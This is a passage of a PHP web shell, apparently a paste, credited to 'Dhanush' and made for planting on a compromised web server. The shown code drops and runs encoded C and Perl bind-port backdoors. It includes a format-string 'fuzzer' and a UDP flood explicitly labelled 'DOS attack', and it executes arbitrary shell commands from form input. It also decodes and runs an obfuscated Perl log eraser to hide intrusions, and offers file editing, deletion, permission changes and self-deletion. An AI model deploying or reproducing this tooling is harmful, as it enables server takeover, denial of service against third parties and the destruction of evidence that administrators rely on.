  4777.                 echo "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
  4778.             }
  4779.             else
  4780.             {
  4781.                 @$fh=fopen("/tmp/bp.c","w");
  4782.                 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
  4783.                 @fclose($fh);
  4784.                 execmd("chmod /tmp/bp.c 0755");
  4785.                 execmd("gcc -o /tmp/bp /tmp/bp.c");
  4786.                 $out = execmd("/tmp/bp"." ".$_POST['port']." ". $passwd ." &");
  4787.                 echo "<pre>$out\n".execmd("ps aux | grep bp")."</pre>";
  4788.             }
  4789.         }
  4790.         if($_POST['lang'] == 'perl')
  4791.         {
  4792.             if(is_writable("."))
  4793.             {  
  4794.                 @$fh=fopen(getcwd()."/bp.pl",'w');
  4795.                 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
  4796.                 @fclose($fh);
  4797.                 execmd("chmod ".getcwd()."/bp.pl 0755");
  4798.                 $out = execmd("perl ".getcwd()."/bp.pl" . " " . $passwd ." &");
  4799.                 echo "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
  4800.             }
  4801.             else
  4802.             {
  4803.                 @$fh=fopen("/tmp/bp.pl","w");
  4804.                 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
  4805.                 @fclose($fh);
  4806.                 $out = execmd("perl /tmp/bp.pl ". $passwd ." &");
  4807.                 echo "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
  4808.             }
  4809.         }
  4810.     }
  4811. }
  4812.  
  4813. //fuzzer
  4814.  
  4815. else if(isset($_GET['fuzz']))
  4816. {
  4817.     if(isset($_GET['ip']) &&
  4818.     isset($_GET['port']) &&
  4819.     isset($_GET['times']) &&
  4820.     isset($_GET['time']) &&
  4821.     isset($_GET['message']) &&
  4822.     isset($_GET['messageMultiplier']) &&
  4823.     $_GET['message'] != "" &&
  4824.     $_GET['time'] != "" &&
  4825.     $_GET['times'] != "" &&
  4826.     $_GET['port'] != "" &&
  4827.     $_GET['ip'] != "" &&
  4828.     $_GET['messageMultiplier'] != ""
  4829.     )
  4830.     {
  4831.        $IP=$_GET['ip'];
  4832.        $port=$_GET['port'];
  4833.        $times = $_GET['times'];
  4834.        $timeout = $_GET['time'];
  4835.        $send = 0;
  4836.        $ending = "";
  4837.        $multiplier = $_GET['messageMultiplier'];
  4838.        $data = "";
  4839.        $mode="tcp";
  4840.        $data .= "GET /";
  4841.        $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
  4842.         if($_GET['type'] == "tcp")
  4843.         {
  4844.             $mode = "tcp";
  4845.         }
  4846.         while($multiplier--)
  4847.         {
  4848.             $data .= urlencode($_GET['message']);
  4849.         }
  4850.         $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
  4851.         $data .= "by-Dhanush".$ending;
  4852.         $length = strlen($data);
  4853.        
  4854.        
  4855.        echo "Sending Data :- <br /> <p align='center'>$data</p>";
  4856.        
  4857.        print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
  4858.        for($i=0;$i<$times;$i++)
  4859.        {
  4860.             $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
  4861.             if($socket)
  4862.             {
  4863.                 fwrite($socket , $data , $length );
  4864.                 fclose($socket);
  4865.             }
  4866.         }
  4867.         echo "<script>alert('Fuzzing Completed!');</script>";
  4868.         echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
  4869.         echo "Total Number of Packets Sent : " . $times . "<br />";
  4870.         echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
  4871.         echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
  4872.     }
  4873.     else
  4874.     {
  4875.         ?>
  4876.         <form method="GET">
  4877.             <input type="hidden" name="fuzz" />
  4878.             <table id="margins">
  4879.                 <tr>
  4880.                     <td width="400" class="title">
  4881.                         IP
  4882.                     </td>
  4883.                     <td>
  4884.                         <input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
  4885.                     </td>
  4886.                 </tr>
  4887.                
  4888.                 <tr>
  4889.                     <td class="title">
  4890.                         Port
  4891.                     </td>
  4892.                     <td>
  4893.                         <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
  4894.                     </td>
  4895.                 </tr>
  4896.                
  4897.                 <tr>
  4898.                     <td class="title">
  4899.                         Timeout
  4900.                     </td>
  4901.                     <td>
  4902.                         <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
  4903.                     </td>
  4904.                 </tr>
  4905.                
  4906.                
  4907.                 <tr>
  4908.                     <td class="title">
  4909.                         No of times
  4910.                     </td>
  4911.                     <td>
  4912.                         <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
  4913.                     </td>
  4914.                 </tr>
  4915.                
  4916.                 <tr>
  4917.                     <td class="title">
  4918.                         Message (The message Should be long and it will be multiplied with the value after it)
  4919.                     </td>
  4920.                     <td>
  4921.                         <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
  4922.                     </td>
  4923.                     <td>
  4924.                         x
  4925.                     </td>
  4926.                     <td width="20">
  4927.                         <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
  4928.                     </td>
  4929.                 </tr>
  4930.                
  4931.                 <tr>
  4932.                     <td rowspan="2">
  4933.                         <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value="  Submit  "/>
  4934.                     </td>
  4935.                 </tr>
  4936.             </table>            
  4937.         </form>
  4938.         <?php
  4939.     }
  4940. }
  4941.  
  4942.  
  4943.     //DDos
  4944.    
  4945.     else if(isset($_GET['dos']))
  4946.     {
  4947.         if(isset($_GET['ip']) &&  isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" &&
  4948.         $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "" )
  4949.         {
  4950.            $IP=$_GET['ip'];
  4951.            $port=$_GET['port'];
  4952.            $executionTime = $_GET['exTime'];
  4953.            $noOfBytes = $_GET['noOfBytes'];
  4954.            $data = "";
  4955.            $timeout = $_GET['timeout'];
  4956.            $packets = 0;
  4957.            $counter = $noOfBytes;
  4958.            $maxTime = time() + $executionTime;;
  4959.            while($counter--)
  4960.            {
  4961.                 $data .= "X";
  4962.            }
  4963.            $data .= " Dhanush";
  4964.            print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
  4965.            
  4966.            while(1)
  4967.            {
  4968.                 $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
  4969.                 if($socket)
  4970.                 {
  4971.                     fwrite($socket , $data);
  4972.                     fclose($socket);
  4973.                     $packets++;
  4974.                 }
  4975.                 if(time() >= $maxTime)
  4976.                 {
  4977.                     break;
  4978.                 }
  4979.             }
  4980.             echo "<script>alert('Dos Completed!');</script>";
  4981.             echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
  4982.             echo "Total Number of Packets Sent : " . $packets . "<br />";
  4983.             echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";
  4984.             echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />";
  4985.         }
  4986.         else
  4987.         {
  4988.             ?>
  4989.             <form method="GET">
  4990.                 <input type="hidden" name="dos" />
  4991.                 <table id="margins">
  4992.                     <tr>
  4993.                         <td width="400" class="title">
  4994.                             IP
  4995.                         </td>
  4996.                         <td>
  4997.                             <input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
  4998.                         </td>
  4999.                     </tr>
  5000.                    
  5001.                     <tr>
  5002.                         <td class="title">
  5003.                             Port
  5004.                         </td>
  5005.                         <td>
  5006.                             <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
  5007.                         </td>
  5008.                     </tr>
  5009.                    
  5010.                     <tr>
  5011.                         <td class="title">
  5012.                             Timeout (Time in seconds)
  5013.                         </td>
  5014.                         <td>
  5015.                             <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
  5016.                         </td>
  5017.                     </tr>
  5018.                    
  5019.                    
  5020.                     <tr>
  5021.                         <td class="title">
  5022.                             Execution Time (Time in seconds)
  5023.                         </td>
  5024.                         <td>
  5025.                             <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
  5026.                         </td>
  5027.                     </tr>
  5028.                    
  5029.                     <tr>
  5030.                         <td class="title">
  5031.                             No of Bytes per/packet
  5032.                         </td>
  5033.                         <td>
  5034.                             <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
  5035.                         </td>
  5036.                     </tr>
  5037.                    
  5038.    
  5039.                     <tr>
  5040.                         <td rowspan="2">
  5041.                             <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value="   Attack >> "/>
  5042.                         </td>
  5043.                     </tr>
  5044.                 </table>            
  5045.             </form>
  5046.             <?php
  5047.         }
  5048.     }
  5049.  
  5050. // Sec info
  5051. else if(isset($_GET['secinfo']))
  5052. { ?>
  5053. <br><br><center><font size=5>Server security information</font><br><br></center>
  5054.     <table style="width:100%;" border="1" class="pwdtbl">
  5055.     <tr>
  5056.         <td style="width:7%;">Curl</td>
  5057.         <td style="width:7%;">Oracle</td>
  5058.         <td style="width:7%;">MySQL</td>
  5059.         <td style="width:7%;">MSSQL</td>
  5060.         <td style="width:7%;">PostgreSQL</td>
  5061.         <td style="width:12%;">Open Base Directory</td>
  5062.         <td style="width:10%;">Safe_Exec_Dir</td>
  5063.         <td style="width:7%;">PHP Version</td>
  5064.         <td style="width:7%;">Server Admin</td>
  5065.     </tr>
  5066.     <tr>
  5067.         <td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
  5068.         <td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
  5069.         <td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
  5070.         <td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
  5071.         <td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
  5072.         <td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
  5073.         <td style="width:10%;"><font class="txt"><?php if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "NONE</b>";}else {echo "<font class=txt>$df</font></b>";};} ?></font></td>
  5074.         <td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
  5075.         <td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
  5076.     </tr>
  5077. </table><br> <?php
  5078.     mysecinfo();
  5079. }
  5080.  
  5081. else if(isset($_GET["com"]))
  5082. {
  5083.     echo "<br>";
  5084.     ob_start();
  5085.     eval("phpinfo();");
  5086.     $b = ob_get_contents();
  5087.     ob_end_clean();
  5088.     $a = strpos($b,"<body>")+6;
  5089.     $z = strpos($b,"</body>");
  5090.     $s_result = "<div class='myphp'>".substr($b,$a,$z-$a)."</div>";
  5091.     echo $s_result;
  5092. }
  5093.  
  5094. else if(isset($_GET['perms']))
  5095. {
  5096. ?>
  5097.     <form method="POST" action="<?php echo $self; ?>" >
  5098.     <input type="hidden" name="myfilename" value="<?php echo $_GET['file']; ?>">
  5099.         <table align="center" border="1" style="width:40%;">
  5100.             <tr>
  5101.                 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
  5102.             </tr>
  5103.             <tr>
  5104.                 <td colspan="2" align="center" style="height:60px">
  5105.         <input type="Submit" value="Change Permission" class="but" style="padding: 5px;" name="changeperms"/></td>
  5106.             </tr>
  5107.         </table>
  5108.        
  5109.     </form>  
  5110.     <?php
  5111. }
  5112.  
  5113. else if(isset($_GET['rename']))
  5114. {
  5115. ?>
  5116.     <form method="GET" action="<?php echo $self; ?>" >
  5117.     <input type="hidden" name="getdir" value="<?php echo $_GET['getdir']; ?>">
  5118.         <table>
  5119.             <tr>
  5120.                 <td>File </td><td> : </td><td><input value="<?php echo $_GET['rename'];?>" name="file" class="box" /></td>
  5121.             </tr>
  5122.             <tr>
  5123.                 <td>To </td><td> : </td><td><input value="<?php echo $_GET['rename'];?>" name="to" class="box" /></td>
  5124.             </tr>
  5125.         </table>
  5126.         <br>
  5127.         <input type="Submit" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/>
  5128. </form>  
  5129.     <?php
  5130.  
  5131. }
  5132.  else if(isset($_GET['open']))
  5133. {
  5134.     ?>
  5135.         <form method="POST" action="<?php echo $self;?>"\>
  5136.         <table>
  5137.             <tr>
  5138.                 <td>File </td><td> : </td><td><input value="<?php echo $_GET['open'];?>" class="box" name="file" /></td>
  5139.             </tr>
  5140.             <tr>
  5141.                 <td>Size </td><td> : </td><td><input value="<?php echo filesize($_GET['open']);?>" class="box" /></td>
  5142.             </tr>
  5143.         </table>
  5144.         <textarea name="content" rows="20" cols="100" class="box"><?php
  5145.         $content = htmlspecialchars(file_get_contents($_GET['open']));
  5146.         if($content)
  5147.         {
  5148.             echo $content;
  5149.         }
  5150.         else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
  5151.         {
  5152.             fopen($_GET['open']);
  5153.             while(!feof())
  5154.             {
  5155.                 echo htmlspecialchars(fgets($_GET['open']));
  5156.             }
  5157.         }
  5158.  
  5159.         ?>
  5160.         </textarea><br />
  5161.         <input name="save" type="Submit" value="Save Changes" id="spacing" class="but"/>
  5162.         </form>
  5163.     <?php
  5164. }
  5165.  
  5166. else if(isset($_POST['file']) &&
  5167.         isset($_POST['content']) )
  5168. {
  5169.     if(is_dir($_POST['file']))
  5170.     {
  5171.         header("location:".$self."?dir=".$_POST['file']);
  5172.     }
  5173.     if(file_exists($_POST['file']))
  5174.     {
  5175.         $handle = fopen($_POST['file'],"w");
  5176.         fwrite($handle,$_POST['content']);
  5177.         header("Location:$self");
  5178.     }
  5179.     else
  5180.     {
  5181.         echo "<p class='alert'>File Name Specified does not exists!</p>";
  5182.     }
  5183. }
  5184.  
  5185. else if(isset($_GET['selfkill']))
  5186. {
  5187.     unlink(__FILE__);
  5188.     echo "<br><center><font class=txt size=5>Good Bye......</font></center>";
  5189. }
  5190.  
  5191. else if(isset($_POST['executecmd']))
  5192. {
  5193.     if($_POST['mycmd']=="logeraser")
  5194.     {
  5195.         $erase = gzinflate(base64_decode("xVhtb9s2EP6cAv0PXJIBDdZaLfbR27B27boAKVLUwNCtKwqaomwhlKiQVB0vyH8fX/RCUu+usviLRfL48O6eO/LIk+9yzoJ1nAYZZuTxoxPwnu4wwyF4tQfnhOT/vqCp6n5Hw1D2rvfgNxr+yP4GEWXl52qLiZwLzA9taZI9OaUc/AxOX354++en55/Plo8fVQLVL460GL4Gx0nM0fHZLTg5j4D6BmKf4fApCCkQWywXI4Tu4nQDYBoCLiATYM0gusKCe7gZi1MBjj/98FnjrDDBSOBwsVj8kx4vpYAnzwnGGXixbIf5SbBfJNQF3XBwQRGskcbBnELphTwlcXoFflUK9WpwdHTkDSoXwTNwa5mldVnlCGHOo5yQPXgtbbRMvNNAmHBszXv2+Q1jlJlhl4a7AW5ohtM1D0t6iuYcDJVQHkmTGGpnZzTPp2uLoEKf0bOVk9aSnQnkgNnpiRjGFj1Fcw56SqhvzKFvZQhZDBUqjZ+tHIUOSiAwH0UhXscwLRl6rVtzEGRw7yF9RjITWswYXaYREx5GzIzM8Jzjkhf1PQcrGufBOMEWJ0qTSZsZfuhM4ZRAFvOKEtOchZUC6sGIiWxijDLL8akSTTtmZieGwCTLSlp0Yw5SLjTQg1GysSjRNi1HZ8rmkExRk+ejRFbpWyhKTkxrDlI+yDr/Dwl1Eaf5TfAOInC5Ah8fjqWtxZKxckLebP+PI6b46k8g5c0qgVRjlgTSQPdSoI1kJ7ZzSGmz7LveKIfE0yi5A4MF89HRXSsDPiHOwZ/S+phRjcPpsIxZ5alMlv5U6XLlJDo6QU6JUwBIw5ZtbiD3nxdtGdHDCIyr9JCf38CG48mX8c0QHffOSGIxIk1r5SM5kI+DNqpBLmJWk6G+x7PR7cFzNkzF/fKQWjwoq5YdTkgf5lri/07eqQcsubqxN6YptxS+7ZhVjuvXJmnwk+MACxRshcjCgEhTAqgtWcjv46egMYqVzmawY+YXPejq3w7zpYBRb4xE2kACmEG0xU20LhkLxl+wD3QxDFqKfIVKZFMK9JnoiTomtsJ0rNG+/oiFGyvudrsOk6qRpibupO4VPQgteGYJjgpicKLTh0bgMsPpq9VrsNpzgROza1fBXAGVb3Amci01HAe5GlqGnDkaTdTwd4bxCA3LZzGtYR1hPbkCeuRm0r14VBpQvXgwqnzbEbGgL2QrNF/oGefEFmwXsNbxDNYqT7F5la/egKIC7rdbP8k4VhsGWmKqHpyJmVX58NCmon0Cla8CtaJduyVoDs+kbHEh7/emuf5rLWkmAt1s7CigMdixjUzWsbifPgX11bRf3+JqPCP/A1Vtn/amDOpXWJdcdRSESbD6a3Vx+bZmXnbx3IkF2ZOLJGt03PibO7AEdv6MnZlh9RDIhfJJ+wHMM0pJQDTD7jTZlT2TLuT19hevA8RoGnSeOHoi3cSpjyYDHQmnJ9Sad4EocekgF60c/Pg84RvuoCEG+Tb4miDKcDeqkcpTVRtPD2AVAYDLCHjpBYC3D6grgkt+0/oGb6HfcV3MaQnOvhCSFqq4b+teUypamPM8VNJbVIRVSKoGxyhnsdiXMdUK5QhGMCY41CQqlDrikusc5zjge67z0zVzNB3FKaKv7IaQwQK7Ysm8GTg8JXIvgRvshhZEysltfS3m95PzlZJw4XfuWhKhJctvDtop/MwMIM+yrHG8FzR0T1dC7y/fN8qCXGw7Ur0bqjhNSMbl4RfWeEU/wzI0uOBd214ZojUjHEaBcwSojowyETQq3iIEJkSXU554MXTrHh7m+cw9pqpMsbwmMEmxqC1neVoQ2ut/nVRYXQKYzORgccW3X7YxF5TtNZTpXUO7uxXQEpS4uXCU29kJPxCbteL+blGg2YHRF5xVHdRWGnnltzPSCtkhC5y7mmv1TYTZcAaU+0PgzM0YjVS5UWAsCN5AtB+AKiYtqoVbxrpvlB6YX+74pRAPA1m5jwQywguvslLsJnIzLyquAZxrJeruMIlU0e2ByRoOhbySUbvV4vvEmoyuytlVNH9UWxFVZ86Q42nmuyjFO76AxFNYHVOYDaCpqQ2snl6zzCCkkUXSnA4YyXXHSEpFjPCYNXiOrtqB9MggkDnI7Yw3PToOudfpbthFF7oaTuHqEUPoKG/Et93dbzPSWape1VRAiRvPt0hEMudMwdsLpCLNf0dplBfyX3/+Bw=="));
  5196.         if(is_writable("."))
  5197.         {  
  5198.             if($openp = fopen(getcwd()."/logseraser.pl", 'w'))
  5199.             {
  5200.                 fwrite($openp, $erase);
  5201.                 fclose($openp);
  5202.                 passthru("perl logseraser.pl linux");
  5203.                 unlink("logseraser.pl");
  5204.                 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
  5205.             }
  5206.         } else
  5207.         {
  5208.             if($openp = fopen("/tmp/logseraser.pl", 'w'))
  5209.             {
  5210.                 fwrite($openp, $erase)or die("Error");
  5211.                 fclose($openp);
  5212.                 $aidx = passthru("perl logseraser.pl linux");
  5213.                 unlink("logseraser.pl");
  5214.                 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
  5215.             }
  5216.         }
  5217.     }
  5218.     else
  5219.     {
  5220.         $check = shell_exec($_POST['mycmd']);
  5221.         echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
  5222.     }
  5223. }
  5224.  
  5225. else if(isset($_POST['changefileperms']))
  5226. {
  5227.     if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
  5228.     {
  5229.         $actbox = $_POST["actbox3"];
  5230.         foreach ($actbox as $v)
  5231.         {
  5232.             $perms = 0;
  5233.             for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
  5234.                 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
  5235.             echo "<center><div align=left style=width:60%;>";
  5236.             if(@chmod($v,$perms))
  5237.                 echo "<blink><font size=3>File $v Permissions Changed Successfully</font></blink>";
  5238.             else
  5239.                 echo "<blink><font size=3 class=txt>Cannot Change $v File Permissions</font></blink>";
  5240.             echo "</div></center>";
  5241.         }
  5242.            
  5243.     }
  5244. }
  5245. else if(isset($_POST['choice']))
  5246. {  
  5247.     if($_POST['choice'] == "chmod")
  5248.     { ?>
  5249.         <form method="POST" ><?php
  5250.         $actbox1 = $_POST['actbox'];
  5251.         foreach ($actbox1 as $v)
  5252.         { ?>
  5253.             <input type="hidden" name="actbox3[]" value="<?php echo $v; ?>">
  5254.         <?php }
  5255.         ?>
  5256.             <table align="center" border="1" style="width:40%;">
  5257.                 <tr>
  5258.                     <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
  5259.                 </tr>
  5260.                 <tr>
  5261.                     <td colspan="2" align="center" style="height:60px">
  5262.             <input type="Submit" value="Change Permission" class="but" style="padding: 5px;" name="changefileperms"/></td>
  5263.                 </tr>
  5264.             </table>
  5265.            
  5266.         </form>  <?php
  5267.     }
  5268.     else if($_POST['choice'] == "delete")
  5269.     {
  5270.         $actbox = $_POST["actbox"];
  5271.  
  5272.         foreach ($actbox as $v)
  5273.         {
  5274.             if(is_file($v))
  5275.             {
  5276.                 if(unlink($v))
  5277.                 {
  5278.                     echo "<br><center><font class=txt size=3>File $v Deleted Successfully</font></center>";
  5279.                 }
  5280.                 else
  5281.                     echo "<br><center><font size=3>Cannot Delete File $v</font></center>";
  5282.             }  
  5283.             else if(is_dir($v))
  5284.             {
  5285.                 rrmdir($v);
  5286.                 $loc = $_SERVER['REQUEST_URI'];
  5287.                 header("Location:$loc");
  5288.                 ob_end_flush();
  5289.             }
  5290.         }
  5291.     }
  5292.     else if($_POST['choice'] == "compre")
  5293.     {
  5294.         $actbox = $_POST["actbox"];
  5295.         foreach ($actbox as $v)
  5296.         {
  5297.             if(is_file($v))
  5298.             {
  5299.                 $zip = new ZipArchive();
  5300.                 $filename= basename($v) . '.zip';
  5301.                 if(($zip->open($filename, ZipArchive::CREATE))!==true)
  5302.                 { echo '<br><font size=3>Error: Unable to create zip file for $v</font>';}
  5303.                 else {echo "<br><font class=txt size=3>File $v Compressed successfully</font>";}
  5304.                 $zip->addFile(basename($v));
  5305.                 $zip->close();
  5306.             }
  5307.             else if(is_dir($v))
  5308.             {
  5309.                 if($os == "Linux")
  5310.                 {
  5311.                     $filename= basename($v);
  5312.                     execmd("tar --create --recursion --file=$filename.tar $v");
  5313.                     echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
  5314.                 }
  5315.             }
  5316.         }
  5317.     }
  5318.     else if($_POST['choice'] == "uncompre")
  5319.     {
  5320.         $actbox = $_POST["actbox"];
  5321.         foreach ($actbox as $v)
  5322.         {
  5323.              $zip = new ZipArchive;
  5324.              $filename= basename($v);
  5325.              $res = $zip->open($filename);
  5326.              if ($res === TRUE)
  5327.              {
  5328.                  $pieces = explode(".",$filename);
  5329.                  $zip->extractTo($pieces[0]);
  5330.                  $zip->close();
  5331.                  echo "<br><font class=txt size=3>File $v Unzipped successfully</font>";
  5332.              } else {
  5333.                  echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
  5334.              }
  5335.         }
  5336.     }
  5337. }
  5338.  
  5339. else if(isset($_POST['execute']))
  5340.     {
  5341.         $comm = $_POST['execute'];
  5342.  
  5343.  
  5344.         chdir($_POST['executepath']);
  5345.         $check = shell_exec($comm);
  5346.        
  5347.             echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
  5348.        
  5349.             ?>
  5350.             <BR><BR><center><form action="<?php $self; ?>" method="post">
  5351.             <input type="hidden" name="executepath" value="<?php echo $_POST['executepath']; ?>" />
  5352.             <input type="text" class="box" name="execute">
  5353.             <input type="submit" value="Execute" class="but"></form></center>
  5354.             <?php
  5355.     }
  5356.    
  5357.     else if(isset($_POST['Create']))
  5358.     {
  5359.     ?>
  5360.     <form method="post">
  5361.    
  5362.     <input type="hidden" name="filecreator" value="<?php echo $_POST['createfile']; ?>">
  5363.         <textarea name="filecontent" rows="20" cols="100" class="box"></textarea><br />
  5364.         <input name="createmyfile" type="Submit" value="  Save " id="spacing" class="but"/>
  5365.   </form>
  5366.        
  5367.     <?php }
  5368.  
  5369. else
  5370. {
  5371.    
  5372.     $mydir = basename(dirname(__FILE__));
  5373.     $pdir = str_replace($mydir,"",$dir);
  5374.     $pdir = str_replace("/","",$dir);
  5375.    
  5376.     $files = array();
  5377.     $dirs  = array();
  5378.    
  5379.      $odir=opendir($dir);
  5380.      while($file = readdir($odir))
  5381.      {
  5382.        if(is_dir($dir.'/'.$file))
  5383.        {
  5384.          $dirs[]=$file;
  5385.        }
  5386.        else
  5387.        {
  5388.          $files[]=$file;
  5389.        }
  5390.      }
  5391.      $countfiles = count($dirs) + count($files);
  5392.      $dircount = count($dirs);
  5393.      $dircount = $dircount-2;
  5394. ?>
  5395.     <table style="width:95%;" align="center" cellpadding="0">
  5396.     <tr class="file"><td colspan="7" align="center"><font class="txt">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.' Dirs And '.count($files).' Files'; ?>)</td>
  5397.     <tr class="file">
  5398.         <th style="width:53%;">Name</th>
  5399.         <th style="width:7%;">Size</th>
  5400.         <th style="width:9%;">Permissions</th>
  5401.     <?php if($os != "Windows"){ echo "<th style=\"width:9%;\">Owner / Group</th>"; } ?>
  5402.         <th style="width:12%;">Modification Date</th>
  5403.         <th style="width:6%;">Rename</th>
  5404.         <th style="width:7%;">Download</th>
  5405.         <th style="width:3%;">Action</th>
  5406.     </tr>
  5407.    
  5408. <?php
  5409.  
  5410.    if(isset($_GET['download']))
  5411.     {
  5412.         download();        
  5413.     }
  5414.     ?>
  5415.     <form method="post" id="myform" name="myform">
  5416.     <?php
  5417.     $dir = getcwd();
  5418.     if(isset($_GET['dir']))
  5419.     {
  5420.         $dir = $_GET['dir'];
  5421.     }
  5422.     $i = 0;
  5423.     if(is_dir($dir))
  5424.     {
  5425.         if($countfiles == 2)
  5426.             echo "<tr><td colspan=5><center><font size=3>No files or directory present or Cannot view files and directory</font></center></td></tr>";
  5427.            
  5428.         foreach($dirs as $val)
  5429.         {
  5430.             ?>
  5431.             <font color="#999999">
  5432.             <?php if($val == ".")
  5433.             {
  5434.                 ?><tr class="file"><td class='info'><a href='<?php echo $self; ?>'>[ . ]</a></td><td>CURDIR</td>
  5435.             <td><?php if(is_writable(getcwd())) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font class="wrtperm"><?php echo getFilePermissions(getcwd());?></font></a><?php } else if(is_readable(getcwd())) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font class="readperm"><?php echo getFilePermissions(getcwd());?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo getcwd(); ?>"><font class="noperm"><?php echo getFilePermissions(getcwd());?></font><?php } ?></td>
  5436.             <?php if($os != 'Windows')
  5437.                   {
  5438.                     echo "<td>";
  5439.                     $name=@posix_getpwuid(@fileowner($self));
  5440.                     $group=@posix_getgrgid(@filegroup($self));
  5441.                     $owner = $name['name']. " / ". $group['name'];
  5442.                     echo $owner . "</td>";
  5443.                 }
  5444.                      ?>
  5445.             <td><font size="2" class="txt"><?php echo date('Y-m-d H:i:s', @filemtime(getcwd())); ?></font></td>
  5446.             <td></td><td></td><td></td></</tr><?php
  5447.            
  5448.             }else if($val=="..") { $val = Trail($dir . $directorysperator . $val,$directorysperator); ?>
  5449.             <tr  class="file"><td class='info'><a href='<?php echo $self . "?dir=".$val; ?>'>[ .. ]</a></td><td>UPDIR</td>
  5450.            
  5451.             <td><?php if(is_writable($val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font class="wrtperm"><?php echo getFilePermissions($val);?></font></a><?php } else if(is_readable($val)) { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font  class="readperm"><?php echo getFilePermissions($val);?></font></a><?php } else { ?><a href="<?php echo $self; ?>?perms&file=<?php echo $val; ?>"><font  class="noperm"><?php echo getFilePermissions($val);?></font><?php } ?></td>
  5452.             <?php   if($os != 'Windows')
  5453.                     {
  5454.                     echo "<td>";
  5455.                     $name=@posix_getpwuid(@fileowner($val));
  5456.                     $group=@posix_getgrgid(@filegroup($val));
  5457.                     $owner = $name['name']. " / ". $group['name'];
  5458.                     echo $owner . "</td>";
  5459.                     }  ?>
  5460.             <td><font size="2" class="txt"><?php echo date('Y-m-d H:i:s', @filemtime($val)); ?></font></td>
  5461.             <td></td><td></td><td></td></tr><?php continue; }
  5462.         }
  5463.         foreach($dirs as $val)
  5464.         {
  5465.             $i++;
  5466.             ?>
  5467.             <font color="#999999">
  5468.            
  5469.             <?php if($val == "." || $val == "..") continue; ?>
  5470.             <tr  class="file">
